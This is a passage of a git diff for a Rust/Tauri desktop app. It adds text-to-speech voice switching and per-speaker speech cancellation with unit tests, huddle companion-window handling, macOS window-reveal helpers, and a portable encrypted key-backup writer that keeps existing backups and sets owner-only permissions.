+ "eve", + ) + .expect("voice change"); + assert!(handle_cancel_or_shutdown( + (&barge_in, &voice_cancel), + &shutdown, + &active, + (&text_rx, &mut deferred_text, &mut current_text), + &voice_change_ack, + None, + None, + )); + old_sender + .send( + 7, + "agent".to_string(), + 0, + "reference_sample".to_string(), + "late old message".to_string(), + ) + .expect("late send"); + let late = text_rx.recv().expect("late queued text"); + + assert!(late.generation < voice_generation.load(Ordering::Acquire)); + assert_eq!(late.voice_reference.as_deref(), Some("reference_sample")); +} diff --git a/desktop/src-tauri/src/huddle/tts_voice_transition.rs b/desktop/src-tauri/src/huddle/tts_voice_transition.rs new file mode 100644 index 0000000000..a60d3506ff --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_voice_transition.rs @@ -0,0 +1,697 @@ +use std::{ + collections::{HashMap, VecDeque}, + fmt, + path::Path, + sync::{ + atomic::{AtomicBool, AtomicU64, Ordering}, + mpsc::{self, SyncSender}, + Arc, Mutex, + }, +}; + +use crate::huddle::pocket::{load_voice_style, VoiceStyle, DEFAULT_VOICE, VOICE_FILE_EXT}; + +#[derive(Debug)] +pub(super) struct PendingVoiceChange { + pub(super) generation: u64, + acknowledged: tokio::sync::oneshot::Sender<()>, +} + +pub(super) type VoiceChangeAck = Arc>>; +pub(super) type WorkerVoiceState = (Arc>, Arc, VoiceChangeAck); +pub(super) type WorkerCancelSignals = (Arc, Arc); +pub(super) type SpeakerGenerations = Arc>>; +pub(super) type ActiveSpeaker = Arc>>; +pub(super) type SpeakerCancellation = Arc>>; +pub(super) type CancelTextState<'a> = ( + &'a mpsc::Receiver, + &'a mut VecDeque, + &'a mut Option, +); +pub(super) type CancelSignals<'a> = (&'a AtomicBool, &'a AtomicBool); + +#[derive(Clone)] +pub(super) struct PlaybackProbe { + player: Arc>>>, + pub(super) player_ops: Arc>, + synthesis_in_flight: Arc, +} + +pub(super) struct SynthesisFlightGuard { + playback_probe: PlaybackProbe, +} + +impl Drop for SynthesisFlightGuard { + fn drop(&mut self) { + self.playback_probe.set_synthesis_in_flight(false); + } +} + +impl PlaybackProbe { + pub(super) fn new() -> Self { + Self { + player: Arc::new(Mutex::new(None)), + player_ops: Arc::new(Mutex::new(())), + synthesis_in_flight: Arc::new(AtomicBool::new(false)), + } + } + + pub(super) fn install(&self, player: Arc) { + self.player + .lock() + .unwrap_or_else(|error| error.into_inner()) + .replace(player); + } + + pub(super) fn set_synthesis_in_flight(&self, in_flight: bool) { + let _ops = super::lock_player_ops(&self.player_ops); + self.synthesis_in_flight.store(in_flight, Ordering::Release); + } + + pub(super) fn begin_synthesis(&self) -> SynthesisFlightGuard { + self.set_synthesis_in_flight(true); + SynthesisFlightGuard { + playback_probe: self.clone(), + } + } + + fn player(&self) -> Option> { + self.player + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone() + } +} + +impl fmt::Debug for PlaybackProbe { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter + .debug_struct("PlaybackProbe") + .finish_non_exhaustive() + } +} + +#[derive(Debug)] +pub(super) struct QueuedText { + pub(super) generation: u64, + pub(super) route_id: u64, + pub(super) speaker_pubkey: Option, + pub(super) speaker_generation: u64, + pub(super) voice_reference: Option, + pub(super) text: String, +} + +#[derive(Clone, Debug)] +pub(crate) struct TtsTextSender { + pub(super) text_tx: SyncSender, + pub(super) generation: u64, + pub(super) speaker_generations: SpeakerGenerations, +} + +impl TtsTextSender { + pub(crate) fn send( + &self, + route_id: u64, + speaker_pubkey: String, + speaker_generation: u64, + voice_reference: String, + text: String, + ) -> Result<(), String> { + self.text_tx + .send(QueuedText { + generation: self.generation, + route_id, + speaker_pubkey: Some(speaker_pubkey), + speaker_generation, + voice_reference: Some(voice_reference), + text, + }) + .map_err(|error| error.to_string()) + } + + pub(crate) fn speaker_generation(&self, speaker_pubkey: &str) -> u64 { + current_speaker_generation(&self.speaker_generations, speaker_pubkey) + } +} + +pub(super) fn current_speaker_generation( + generations: &SpeakerGenerations, + speaker_pubkey: &str, +) -> u64 { + generations + .lock() + .unwrap_or_else(|error| error.into_inner()) + .get(&speaker_pubkey.to_ascii_lowercase()) + .copied() + .unwrap_or(0) +} + +pub(super) fn advance_speaker_generation( + generations: &SpeakerGenerations, + speaker_pubkey: &str, +) -> u64 { + let mut generations = generations + .lock() + .unwrap_or_else(|error| error.into_inner()); + let generation = generations + .entry(speaker_pubkey.to_ascii_lowercase()) + .or_default(); + *generation = generation.saturating_add(1); + *generation +} + +pub(super) fn queued_speaker_is_current( + generations: &SpeakerGenerations, + queued: &QueuedText, +) -> bool { + queued + .speaker_pubkey + .as_deref() + .is_none_or(|speaker_pubkey| { + current_speaker_generation(generations, speaker_pubkey) == queued.speaker_generation + }) +} + +pub(super) fn request_speaker_cancel( + generations: &SpeakerGenerations, + active_speaker: &ActiveSpeaker, + cancellation: &SpeakerCancellation, + speaker_pubkey: &str, +) { + advance_speaker_generation(generations, speaker_pubkey); + let owns_player = active_speaker + .lock() + .unwrap_or_else(|error| error.into_inner()) + .as_deref() + .is_some_and(|active| active.eq_ignore_ascii_case(speaker_pubkey)); + if owns_player { + cancellation + .lock() + .unwrap_or_else(|error| error.into_inner()) + .replace(speaker_pubkey.to_ascii_lowercase()); + } +} + +pub(super) fn request_active_speaker_cancel( + generations: &SpeakerGenerations, + active_speaker: &ActiveSpeaker, + cancellation: &SpeakerCancellation, + playback_probe: &PlaybackProbe, + expected_speaker_pubkey: &str, +) -> bool { + let Some(player) = playback_probe.player() else { + return false; + }; + let _ops = super::lock_player_ops(&playback_probe.player_ops); + let playback_live = + !player.empty() || playback_probe.synthesis_in_flight.load(Ordering::Acquire); + request_active_speaker_cancel_while_locked( + generations, + active_speaker, + cancellation, + playback_live, + expected_speaker_pubkey, + ) +} + +fn request_active_speaker_cancel_while_locked( + generations: &SpeakerGenerations, + active_speaker: &ActiveSpeaker, + cancellation: &SpeakerCancellation, + playback_live: bool, + expected_speaker_pubkey: &str, +) -> bool { + if !playback_live { + return false; + } + let active = active_speaker + .lock() + .unwrap_or_else(|error| error.into_inner()); + let Some(speaker_pubkey) = active.as_deref() else { + return false; + }; + if !speaker_pubkey.eq_ignore_ascii_case(expected_speaker_pubkey) { + return false; + } + + // Keep ownership locked until the generation and cancellation request are + // committed. The drain path takes the same lock, so the request is bound + // to the utterance the Stop action actually observed. + let mut cancellation = cancellation + .lock() + .unwrap_or_else(|error| error.into_inner()); + if cancellation + .as_deref() + .is_some_and(|pending| pending.eq_ignore_ascii_case(speaker_pubkey)) + { + return false; + } + advance_speaker_generation(generations, speaker_pubkey); + cancellation.replace(speaker_pubkey.to_ascii_lowercase()); + true +} + +pub(super) fn retain_current_speaker_text( + generations: &SpeakerGenerations, + deferred_text: &mut VecDeque, + current_text: &mut Option, + text_rx: &mpsc::Receiver, +) { + deferred_text.retain(|text| queued_speaker_is_current(generations, text)); + if let Some(text) = current_text.take() { + if queued_speaker_is_current(generations, &text) { + deferred_text.push_front(text); + } else { + log_cancelled_route(text.route_id, "speaker_removed"); + } + } + while let Ok(text) = text_rx.try_recv() { + if queued_speaker_is_current(generations, &text) { + deferred_text.push_back(text); + } else { + log_cancelled_route(text.route_id, "speaker_removed"); + } + } +} + +pub(super) fn has_pending_voice_change(voice_change_ack: &VoiceChangeAck) -> bool { + voice_change_ack + .lock() + .unwrap_or_else(|error| error.into_inner()) + .is_some() +} + +pub(super) fn begin_voice_change( + selected_voice: &Mutex, + voice_generation: &AtomicU64, + voice_cancel: &AtomicBool, + voice_change_ack: &VoiceChangeAck, + voice: &str, +) -> Option> { + let mut pending_ack = voice_change_ack + .lock() + .unwrap_or_else(|error| error.into_inner()); + let mut selected = selected_voice + .lock() + .unwrap_or_else(|error| error.into_inner()); + if selected.as_str() == voice { + return None; + } + + let (sender, receiver) = tokio::sync::oneshot::channel(); + voice_cancel.store(true, Ordering::Release); + let generation = voice_generation.fetch_add(1, Ordering::AcqRel) + 1; + if let Some(superseded) = pending_ack.replace(PendingVoiceChange { + generation, + acknowledged: sender, + }) { + let _ = superseded.acknowledged.send(()); + } + *selected = voice.to_string(); + Some(receiver) +} + +pub(super) fn acknowledge_voice_change( + voice_change_ack: &VoiceChangeAck, + voice_cancel: &AtomicBool, +) { + let mut pending_ack = voice_change_ack + .lock() + .unwrap_or_else(|error| error.into_inner()); + if voice_cancel.load(Ordering::Acquire) { + return; + } + if let Some(pending) = pending_ack.take() { + let _ = pending.acknowledged.send(()); + } +} + +pub(super) fn finish_voice_change_ack(voice_change_ack: &VoiceChangeAck) { + if let Some(pending) = voice_change_ack + .lock() + .unwrap_or_else(|error| error.into_inner()) + .take() + { + let _ = pending.acknowledged.send(()); + } +} + +pub(super) fn reconcile_selected_voice( + model_dir: &Path, + selected_voice: &Mutex, + voice_name: &mut String, + style: &mut VoiceStyle, +) -> bool { + let requested_voice = selected_voice + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone(); + if requested_voice == *voice_name { + return true; + } + + let requested_path = voice_path(model_dir, &requested_voice); + match load_voice_style(&requested_path) { + Ok(requested_style) => { + *style = requested_style; + *voice_name = requested_voice; + true + } + Err(_) => { + eprintln!("buzz-desktop: tts stage=voice_switch status=fallback reason=voice_style"); + let fallback_path = model_dir.join(format!("{DEFAULT_VOICE}.{VOICE_FILE_EXT}")); + match load_voice_style(&fallback_path) { + Ok(fallback_style) => { + *style = fallback_style; + *voice_name = DEFAULT_VOICE.to_string(); + *selected_voice + .lock() + .unwrap_or_else(|lock_error| lock_error.into_inner()) = + DEFAULT_VOICE.to_string(); + true + } + Err(_) => { + eprintln!( + "buzz-desktop: tts stage=voice_switch status=failed reason=fallback_voice_style" + ); + false + } + } + } + } +} + +pub(super) fn reconcile_queued_voice( + model_dir: &Path, + requested_voice: &str, + selected_voice: &Mutex, + voice_name: &mut String, + style: &mut VoiceStyle, + style_cache: &mut HashMap, +) -> bool { + if requested_voice == voice_name.as_str() { + return true; + } + if let Some(cached) = style_cache.get(requested_voice) { + *style = cached.clone(); + *voice_name = requested_voice.to_owned(); + return true; + } + + match load_voice_style(&voice_path(model_dir, requested_voice)) { + Ok(requested_style) => { + style_cache.insert(requested_voice.to_owned(), requested_style.clone()); + *style = requested_style; + *voice_name = requested_voice.to_owned(); + true + } + Err(_) => { + eprintln!( + "buzz-desktop: tts stage=agent_voice_switch status=fallback reason=voice_style" + ); + let ready = reconcile_selected_voice(model_dir, selected_voice, voice_name, style); + if ready { + style_cache.insert(voice_name.clone(), style.clone()); + } + ready + } + } +} + +pub(super) fn voice_path(model_dir: &Path, voice: &str) -> std::path::PathBuf { + let path = Path::new(voice); + if path.is_absolute() { + path.to_path_buf() + } else { + model_dir.join(format!("{voice}.{VOICE_FILE_EXT}")) + } +} + +pub(super) fn retain_cancelled_text( + deferred_text: &mut VecDeque, + current_text: &mut Option, + text_rx: &mpsc::Receiver, + preserve_generation: Option, +) { + if let Some(generation) = preserve_generation { + deferred_text.retain(|text| { + let preserve = text.generation >= generation; + if !preserve { + log_cancelled_route(text.route_id, "voice_switch"); + } + preserve + }); + if let Some(text) = current_text.take() { + if text.generation >= generation { + deferred_text.push_front(text); + } else { + log_cancelled_route(text.route_id, "voice_switch"); + } + } + while let Ok(text) = text_rx.try_recv() { + if text.generation >= generation { + deferred_text.push_back(text); + } else { + log_cancelled_route(text.route_id, "voice_switch"); + } + } + } else { + for text in deferred_text.drain(..) { + log_cancelled_route(text.route_id, "barge_in"); + } + if let Some(text) = current_text.take() { + log_cancelled_route(text.route_id, "barge_in"); + } + while let Ok(text) = text_rx.try_recv() { + log_cancelled_route(text.route_id, "barge_in"); + } + } +} + +fn log_cancelled_route(route_id: u64, reason: &str) { + eprintln!("buzz-desktop: tts stage=queue status=dropped reason={reason} route_id={route_id}"); +} + +#[cfg(test)] +mod speaker_generation_tests { + use super::*; + + fn playback_probe(playback_live: bool) -> PlaybackProbe { + let channels = std::num::NonZero::new(1).expect("non-zero channels"); + let sample_rate = std::num::NonZero::new(24_000).expect("non-zero sample rate"); + let (mixer, _mixer_source) = rodio::mixer::mixer(channels, sample_rate); + let player = Arc::new(rodio::Player::connect_new(&mixer)); + if playback_live { + player.append(rodio::buffer::SamplesBuffer::new( + channels, + sample_rate, + vec![0.0; 24_000], + )); + } + let probe = PlaybackProbe::new(); + probe.install(player); + probe + } + + fn queued_speech(speaker_pubkey: &str, speaker_generation: u64) -> QueuedText { + QueuedText { + generation: 1, + route_id: 1, + speaker_pubkey: Some(speaker_pubkey.to_string()), + speaker_generation, + voice_reference: Some("pocket:mary".to_string()), + text: "Hello".to_string(), + } + } + + #[test] + fn removing_a_speaker_invalidates_only_that_speakers_queued_text() { + let generations = Arc::new(Mutex::new(HashMap::new())); + let alice = queued_speech("ALICE", current_speaker_generation(&generations, "alice")); + let bob = queued_speech("bob", current_speaker_generation(&generations, "bob")); + + advance_speaker_generation(&generations, "alice"); + + assert!(!queued_speaker_is_current(&generations, &alice)); + assert!(queued_speaker_is_current(&generations, &bob)); + + let rejoined_alice = + queued_speech("alice", current_speaker_generation(&generations, "alice")); + assert!(queued_speaker_is_current(&generations, &rejoined_alice)); + } + + #[test] + fn removing_a_silent_speaker_does_not_cancel_the_active_speaker() { + let generations = Arc::new(Mutex::new(HashMap::new())); + let active_speaker = Arc::new(Mutex::new(Some("alice".to_string()))); + let cancellation = Arc::new(Mutex::new(None)); + + request_speaker_cancel(&generations, &active_speaker, &cancellation, "bob"); + + assert!(cancellation.lock().expect("cancellation").is_none()); + assert_eq!( + active_speaker.lock().expect("active speaker").as_deref(), + Some("alice") + ); + } + + #[test] + fn targeted_cancellation_preserves_other_speakers_queue_entries() { + let generations = Arc::new(Mutex::new(HashMap::new())); + let active_speaker = Arc::new(Mutex::new(Some("alice".to_string()))); + let cancellation = Arc::new(Mutex::new(None)); + let alice = queued_speech("alice", 0); + let bob = queued_speech("bob", 0); + let (_text_tx, text_rx) = mpsc::sync_channel(1); + let mut deferred = VecDeque::from([alice, bob]); + let mut current = None; + + request_speaker_cancel(&generations, &active_speaker, &cancellation, "alice"); + retain_current_speaker_text(&generations, &mut deferred, &mut current, &text_rx); + + assert_eq!(deferred.len(), 1); + assert_eq!(deferred[0].speaker_pubkey.as_deref(), Some("bob")); + } + + #[test] + fn stop_request_is_bound_to_the_observed_speaker_generation() { + let generations = Arc::new(Mutex::new(HashMap::new())); + let active_speaker = Arc::new(Mutex::new(Some("alice".to_string()))); + let cancellation = Arc::new(Mutex::new(None)); + + assert!(request_active_speaker_cancel( + &generations, + &active_speaker, + &cancellation, + &playback_probe(true), + "alice", + )); + assert_eq!(current_speaker_generation(&generations, "alice"), 1); + assert_eq!( + cancellation.lock().expect("cancellation").as_deref(), + Some("alice") + ); + + active_speaker.lock().expect("active speaker").take(); + cancellation.lock().expect("cancellation").take(); + assert!(!request_active_speaker_cancel( + &generations, + &active_speaker, + &cancellation, + &playback_probe(true), + "alice", + )); + + let next_utterance = + queued_speech("alice", current_speaker_generation(&generations, "alice")); + assert!(queued_speaker_is_current(&generations, &next_utterance)); + assert!(cancellation.lock().expect("cancellation").is_none()); + } + + #[test] + fn stop_request_does_not_cancel_a_different_active_speaker() { + let generations = Arc::new(Mutex::new(HashMap::new())); + let active_speaker = Arc::new(Mutex::new(Some("bob".to_string()))); + let cancellation = Arc::new(Mutex::new(None)); + + assert!(!request_active_speaker_cancel( + &generations, + &active_speaker, + &cancellation, + &playback_probe(true), + "alice", + )); + assert_eq!(current_speaker_generation(&generations, "alice"), 0); + assert_eq!(current_speaker_generation(&generations, "bob"), 0); + assert!(cancellation.lock().expect("cancellation").is_none()); + assert_eq!( + active_speaker.lock().expect("active speaker").as_deref(), + Some("bob"), + ); + } + + #[test] + fn stop_request_during_empty_synthesis_gap_cancels_in_flight_speech() { + let generations = Arc::new(Mutex::new(HashMap::new())); + let active_speaker = Arc::new(Mutex::new(Some("alice".to_string()))); + let cancellation = Arc::new(Mutex::new(None)); + let next_chunk = queued_speech("alice", 0); + let probe = playback_probe(false); + let _synthesis_flight = probe.begin_synthesis(); + + assert!(request_active_speaker_cancel( + &generations, + &active_speaker, + &cancellation, + &probe, + "alice", + )); + + assert_eq!(current_speaker_generation(&generations, "alice"), 1); + assert!(!queued_speaker_is_current(&generations, &next_chunk)); + assert_eq!( + cancellation.lock().expect("cancellation").as_deref(), + Some("alice"), + ); + } + + #[test] + fn repeated_stop_for_same_in_flight_utterance_is_idempotent() { + let generations = Arc::new(Mutex::new(HashMap::new())); + let active_speaker = Arc::new(Mutex::new(Some("alice".to_string()))); + let cancellation = Arc::new(Mutex::new(None)); + let probe = playback_probe(false); + let _synthesis_flight = probe.begin_synthesis(); + + assert!(request_active_speaker_cancel( + &generations, + &active_speaker, + &cancellation, + &probe, + "alice", + )); + let speech_queued_after_first_stop = queued_speech("alice", 1); + + assert!(!request_active_speaker_cancel( + &generations, + &active_speaker, + &cancellation, + &probe, + "alice", + )); + + assert_eq!(current_speaker_generation(&generations, "alice"), 1); + assert!(queued_speaker_is_current( + &generations, + &speech_queued_after_first_stop, + )); + assert_eq!( + cancellation.lock().expect("cancellation").as_deref(), + Some("alice"), + ); + } + + #[test] + fn stop_request_after_playback_drains_preserves_queued_speech() { + let generations = Arc::new(Mutex::new(HashMap::new())); + let active_speaker = Arc::new(Mutex::new(Some("alice".to_string()))); + let cancellation = Arc::new(Mutex::new(None)); + let next_utterance = queued_speech("alice", 0); + + assert!(!request_active_speaker_cancel( + &generations, + &active_speaker, + &cancellation, + &playback_probe(false), + "alice", + )); + + assert_eq!(current_speaker_generation(&generations, "alice"), 0); + assert!(queued_speaker_is_current(&generations, &next_utterance)); + assert!(cancellation.lock().expect("cancellation").is_none()); + assert_eq!( + active_speaker.lock().expect("active speaker").as_deref(), + Some("alice"), + ); + } +} diff --git a/desktop/src-tauri/src/huddle/window.rs b/desktop/src-tauri/src/huddle/window.rs new file mode 100644 index 0000000000..cb3cfc8bfd --- /dev/null +++ b/desktop/src-tauri/src/huddle/window.rs @@ -0,0 +1,67 @@ +//! Native companion-window lifecycle for an active Huddle. + +use tauri::{Emitter, Manager, State, WebviewUrl, WebviewWindowBuilder}; + +use crate::app_state::AppState; + +/// Close the companion belonging to an ended huddle. The native lifecycle is +/// authoritative here because a webview can be suspended while it is closing. +pub(super) fn close_huddle_window(app: &tauri::AppHandle, ephemeral_channel_id: &str) { + if ephemeral_channel_id.is_empty() { + return; + } + let label = format!("huddle-{ephemeral_channel_id}"); + if let Some(window) = app.get_webview_window(&label) { + if let Err(error) = window.close() { + eprintln!("buzz-desktop: failed to close huddle companion: {error}"); + } + } +} + +/// Close the active companion without leaving the huddle. The main window uses +/// this to restore its drawer presentation while retaining the audio session. +#[tauri::command] +pub fn close_huddle_companion( + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { + let ephemeral_channel_id = state + .huddle()? + .ephemeral_channel_id + .clone() + .ok_or("no active huddle")?; + close_huddle_window(&app, &ephemeral_channel_id); + app.emit("huddle-companion-returned", ()) + .map_err(|error| error.to_string())?; + Ok(()) +} + +/// Open the active huddle's ephemeral channel in a focused companion window. +/// The main window remains the owner of microphone capture; closing this room +/// must never leave the shared huddle session. +#[tauri::command] +pub async fn open_huddle_window( + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { + let ephemeral_channel_id = state + .huddle()? + .ephemeral_channel_id + .clone() + .ok_or("no active huddle")?; + let label = format!("huddle-{ephemeral_channel_id}"); + + if let Some(window) = app.get_webview_window(&label) { + window.show().map_err(|error| error.to_string())?; + window.set_focus().map_err(|error| error.to_string())?; + return Ok(()); + } + + WebviewWindowBuilder::new(&app, label, WebviewUrl::App("index.html".into())) + .title("Huddle") + .inner_size(960.0, 720.0) + .min_inner_size(720.0, 520.0) + .build() + .map_err(|error| error.to_string())?; + Ok(()) +} diff --git a/desktop/src-tauri/src/initial_window.rs b/desktop/src-tauri/src/initial_window.rs new file mode 100644 index 0000000000..b124551512 --- /dev/null +++ b/desktop/src-tauri/src/initial_window.rs @@ -0,0 +1,67 @@ +//! First-frame window reveal helpers. + +#[cfg(target_os = "macos")] +pub(crate) const INITIAL_RENDER_READY_EVENT: &str = "initial-render-ready"; + +pub(crate) fn reveal_initial_window(window: &tauri::Window) { + if let Err(error) = window.show() { + eprintln!("buzz-desktop: failed to reveal main window: {error}"); + return; + } + if let Err(error) = window.set_focus() { + eprintln!("buzz-desktop: failed to focus main window: {error}"); + } +} + +#[cfg(target_os = "macos")] +pub(crate) fn set_initial_window_backing(window: &tauri::Window) { + // The window remains transparent at runtime for vibrancy. Use an opaque + // native backing only across the first visible frames so the previous app + // cannot show through before WebKit has submitted its first surface. + if let Err(error) = window.set_background_color(Some(tauri::window::Color(17, 21, 24, 255))) { + eprintln!("buzz-desktop: failed to set initial window backing: {error}"); + } +} + +#[cfg(target_os = "macos")] +pub(crate) async fn clear_initial_window_backing(window: &tauri::Window) { + tokio::time::sleep(std::time::Duration::from_millis(250)).await; + if let Err(error) = window.set_background_color(None) { + eprintln!("buzz-desktop: failed to clear initial window backing: {error}"); + } +} + +#[cfg(target_os = "macos")] +pub(crate) async fn wait_for_stable_initial_window_geometry( + window: &tauri::Window, +) { + const MAX_POLLS: usize = 120; + const REQUIRED_STABLE_POLLS: usize = 4; + + let mut previous_bounds = None; + let mut stable_polls = 0; + + for _ in 0..MAX_POLLS { + // Accept whatever geometry the window-state plugin restores — maximized + // or a normal saved size. macOS applies the restore asynchronously, so + // consecutive identical outer bounds are enough to know it settled. + let bounds = match (window.outer_position(), window.outer_size()) { + (Ok(position), Ok(size)) => Some((position.x, position.y, size.width, size.height)), + _ => None, + }; + + if bounds.is_some() && bounds == previous_bounds { + stable_polls += 1; + if stable_polls >= REQUIRED_STABLE_POLLS { + return; + } + } else { + stable_polls = 0; + } + previous_bounds = bounds; + + tokio::time::sleep(std::time::Duration::from_millis(16)).await; + } + + eprintln!("buzz-desktop: initial window geometry did not settle before reveal timeout"); +} diff --git a/desktop/src-tauri/src/key_backup.rs b/desktop/src-tauri/src/key_backup.rs index 21e9011acd..9b9379bb2e 100644 --- a/desktop/src-tauri/src/key_backup.rs +++ b/desktop/src-tauri/src/key_backup.rs @@ -133,9 +133,14 @@ pub fn backup_file_path(data_dir: &std::path::Path) -> std::path::PathBuf { data_dir.join(BACKUP_FILE_NAME) } -/// Atomically write `ncryptsec` to `path` with owner-only permissions, then -/// reread and byte-compare. Same crash-safety pattern as +/// Atomically write the app-managed `ncryptsec` backup with owner-only +/// permissions, then reread and byte-compare. Same crash-safety pattern as /// `app_state::save_key_file`. +/// +/// Portable exports selected through a native save panel must use +/// [`write_portable_backup_file`] instead: sandboxed macOS grants access to the +/// selected path, but not to the sibling temporary file this writer needs. +#[allow(dead_code)] // Retained for durable app-managed backups; portable exports must not use it. pub fn write_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> { use atomic_write_file::AtomicWriteFile; use std::io::Write; @@ -155,6 +160,56 @@ pub fn write_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), file.commit() .map_err(|e| format!("commit backup file: {e}"))?; + verify_backup_file(path, ncryptsec) +} + +/// Write a user-selected portable backup without creating a sibling file. +/// +/// Native macOS save panels authorize the exact selected path in protected +/// folders such as Downloads, not an atomic writer's hidden sibling. Opening +/// with `create_new` uses only that authorized path and also guarantees an +/// existing backup is never truncated: users must choose a new filename when +/// the destination already exists. After writing, the file is synced and its +/// persisted bytes are reread before success is reported. +pub fn write_portable_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> { + use std::io::Write; + + let mut options = std::fs::OpenOptions::new(); + options.write(true).create_new(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + options.mode(0o600); + } + + let mut file = options.open(path).map_err(|error| { + if error.kind() == std::io::ErrorKind::AlreadyExists { + "backup file already exists; choose a new filename so the existing backup stays safe" + .to_string() + } else { + format!("create portable backup file: {error}") + } + })?; + + let write_result = file + .write_all(ncryptsec.as_bytes()) + .map_err(|e| format!("write portable backup file: {e}")) + .and_then(|()| { + file.sync_all() + .map_err(|e| format!("sync portable backup file: {e}")) + }); + drop(file); + + let result = write_result.and_then(|()| verify_backup_file(path, ncryptsec)); + if result.is_err() { + // This function created the destination exclusively, so cleanup cannot + // clobber a backup that existed before the save attempt. + let _ = std::fs::remove_file(path); + } + result +} + +fn verify_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> { // Reread and byte-compare: only report success for bytes that are // actually on disk. let on_disk = std::fs::read_to_string(path).map_err(|e| format!("reread backup file: {e}"))?; diff --git a/desktop/src-tauri/src/key_backup_tests.rs b/desktop/src-tauri/src/key_backup_tests.rs index 18a930e0aa..ac7a114ab1 100644 --- a/desktop/src-tauri/src/key_backup_tests.rs +++ b/desktop/src-tauri/src/key_backup_tests.rs @@ -160,6 +160,45 @@ fn write_backup_file_overwrites_atomically() { assert_eq!(entries, vec![std::ffi::OsString::from(BACKUP_FILE_NAME)]); } +#[test] +fn write_portable_backup_file_persists_0600_without_a_sibling() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("portable.ncryptsec"); + write_portable_backup_file(&path, SPEC_NCRYPTSEC).unwrap(); + + assert_eq!(std::fs::read_to_string(&path).unwrap(), SPEC_NCRYPTSEC); + let entries: Vec<_> = std::fs::read_dir(dir.path()) + .unwrap() + .map(|entry| entry.unwrap().file_name()) + .collect(); + assert_eq!( + entries, + vec![std::ffi::OsString::from("portable.ncryptsec")] + ); + + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(&path).unwrap().permissions().mode(); + assert_eq!(mode & 0o777, 0o600, "portable backup must be owner-only"); + } +} + +#[test] +fn write_portable_backup_file_preserves_an_existing_backup() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("portable.ncryptsec"); + std::fs::write(&path, "ncryptsec1existing").unwrap(); + + let error = write_portable_backup_file(&path, SPEC_NCRYPTSEC).unwrap_err(); + + assert!(error.contains("already exists"), "{error}"); + assert_eq!( + std::fs::read_to_string(&path).unwrap(), + "ncryptsec1existing" + ); +} + #[test] fn delete_backup_file_is_idempotent() { let dir = tempfile::tempdir().unwrap(); @@ -240,12 +279,16 @@ fn generated_phrases_never_hide_a_word_boundary() { #[test] fn generated_passphrase_clamps_word_count() { + // Use a separator that cannot appear in the EFF wordlist so a generated + // word such as "yo-yo" cannot be mistaken for two words. + const SEPARATOR: &str = "|"; + // Below the floor: clamped up to MIN_PASSPHRASE_WORDS, never shorter. - let phrase = generate_passphrase(1, "-").unwrap(); - assert_eq!(phrase.split('-').count(), MIN_PASSPHRASE_WORDS); + let phrase = generate_passphrase(1, SEPARATOR).unwrap(); + assert_eq!(phrase.split(SEPARATOR).count(), MIN_PASSPHRASE_WORDS); // Above the ceiling: clamped down to MAX_PASSPHRASE_WORDS. - let phrase = generate_passphrase(50, "-").unwrap(); - assert_eq!(phrase.split('-').count(), MAX_PASSPHRASE_WORDS); + let phrase = generate_passphrase(50, SEPARATOR).unwrap(); + assert_eq!(phrase.split(SEPARATOR).count(), MAX_PASSPHRASE_WORDS); } #[test] diff --git a/desktop/src-tauri/src/lib.rs b/desktop/src-tauri/src/lib.rs index ee2a98f5c1..2847b87877 100644 --- a/desktop/src-tauri/src/lib.rs +++ b/desktop/src-tauri/src/lib.rs @@ -1,4 +1,5 @@ #![recursion_limit = "256"] // Deep Tauri command futures exceed the default layout query depth. +mod app_menu; mod app_state; mod archive; mod builderlab; @@ -9,8 +10,11 @@ mod event_sync; mod events; mod huddle; mod identity_storage; +mod initial_window; mod key_backup; mod linux_media; +#[cfg(target_os = "macos")] +mod macos_notifications; mod managed_agents; mod media_proxy; #[cfg(feature = "mesh-llm")] @@ -32,6 +36,9 @@ mod reset; mod secret_store; mod shutdown; mod templates; +mod terminal_runtime; +#[cfg_attr(not(test), allow(dead_code))] +mod terminal_transport; #[cfg(target_os = "macos")] mod tray_menu; mod util; @@ -49,11 +56,14 @@ use huddle::audio_output::{ }; use huddle::reconnect::reconnect_huddle_audio; use huddle::{ - add_agent_to_huddle, check_pipeline_hotstart, confirm_huddle_active, download_voice_models, - end_huddle, get_huddle_agent_pubkeys, get_huddle_state, get_model_status, get_voice_input_mode, - join_huddle, leave_huddle, push_audio_pcm, set_huddle_transcription_enabled, set_tts_enabled, - set_voice_input_mode, speak_agent_message, start_huddle, start_stt_pipeline, + add_agent_to_huddle, check_pipeline_hotstart, close_huddle_companion, confirm_huddle_active, + download_voice_models, end_huddle, get_huddle_agent_pubkeys, get_huddle_state, + get_model_status, get_voice_input_mode, interrupt_huddle_speech, join_huddle, leave_huddle, + open_huddle_window, push_audio_pcm, remove_agent_from_huddle, set_huddle_manual_mic_unmuted, + set_huddle_transcription_enabled, set_tts_enabled, set_voice_input_mode, speak_agent_message, + start_huddle, start_stt_pipeline, HuddlePhase, }; +use initial_window::*; use managed_agents::{ backfill_persona_snapshots, ensure_nest, list_managed_agent_runtimes, put_managed_agent_runtime_lifecycle, reconcile_managed_agent_runtimes, @@ -65,84 +75,14 @@ use mesh_llm_stubs::*; #[cfg(all(feature = "mesh-llm", target_os = "macos"))] use shutdown::{hard_exit_after_mesh_shutdown, relaunch_after_mesh_shutdown}; use shutdown::{is_restart_request, shut_down_app}; -use std::sync::{ - atomic::{AtomicBool, Ordering}, - Arc, -}; -use tauri::{Emitter, Manager, RunEvent}; +use std::sync::{atomic::AtomicBool, atomic::Ordering, Arc}; #[cfg(target_os = "macos")] -use tauri::{Listener, WindowEvent}; +use tauri::Listener; +use tauri::{Emitter, Manager, RunEvent, WindowEvent}; use tauri_plugin_window_state::StateFlags; #[cfg(target_os = "macos")] use 